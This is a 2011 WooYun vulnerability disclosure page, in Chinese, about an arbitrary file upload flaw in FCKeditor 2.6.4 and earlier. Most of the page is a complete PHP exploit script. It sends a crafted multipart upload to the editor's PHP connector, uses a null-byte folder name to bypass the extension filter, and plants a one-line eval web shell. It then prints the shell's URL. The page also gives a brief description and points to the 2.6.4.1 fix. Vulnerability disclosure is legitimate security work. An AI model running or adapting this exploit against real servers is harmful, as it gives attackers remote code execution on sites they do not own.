fckeditor <= 2.6.4 任意文件上传漏洞 | wooyun-2011-01684| WooYun.org

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缺陷编号：wooyun-2011-01684

漏洞标题：fckeditor <= 2.6.4 任意文件上传漏洞

漏洞作者：我勒个去

提交时间：2011-03-22 14:09

修复时间：2011-03-22 14:18

公开时间：2011-03-22 14:18

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

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漏洞详情

披露状态：

2011-03-22：积极联系厂商并且等待厂商认领中，细节不对外公开
2011-03-22：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

fckeditor <= 2.6.4 任意文件上传漏洞, php coldfunsion应该KO了，asp表示很淡定，其他语言版本未测

详细说明：

currentfolder过滤不给力啊，但是GPC就能让它脑残

漏洞证明：

<?
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
define(STDIN, fopen("php://stdin", "r"));
$match = array();
function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print "\n[-] No response from {$host}:80 Trying again...";
		$sock = fsockopen($host, 80);
	}
	fputs($sock, $packet);
	while (!feof($sock)) $resp .= fread($sock, 1024);
	fclose($sock);
	print $resp;
	return $resp;
}
function connector_response($html)
{
	global $match;
	return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));
}
print "\n+------------------------------------------------------------------+";
print "\n| FCKEditor Servelet Arbitrary File Upload Exploit by Wolegequ     |";
print "\n+------------------------------------------------------------------+\n";
if ($argc < 3)
{
	print "\nUsage......: php $argv[0] host path\n";
	print "\nExample....: php $argv[0] localhost /\n";
	print "\nExample....: php $argv[0] localhost /FCKEditor/\n";
	die();
}
$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);
$filename  = "fvck.gif";
$foldername = "fuck.php%00.gif";
$connector = "editor/filemanager/connectors/php/connector.php";
$payload  = "-----------------------------265001916915724\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";
$payload .= "Content-Type:  image/jpeg\r\n\r\n";
$payload .= 'GIF89a'."\r\n".'<?php eval($_POST[a]) ?>'."\n";
$payload .= "-----------------------------265001916915724--\r\n";
$packet	 = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0\r\n";
//print $packet;
$packet	.= "Host: {$host}\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
print $packet;
if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");
else print "\n[-] Job done! try http://${host}/$match[2] \n";
?>

修复方案：

参见2.6.4.1修复

版权声明：转载请注明来源我勒个去@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：12 (WooYun评价)

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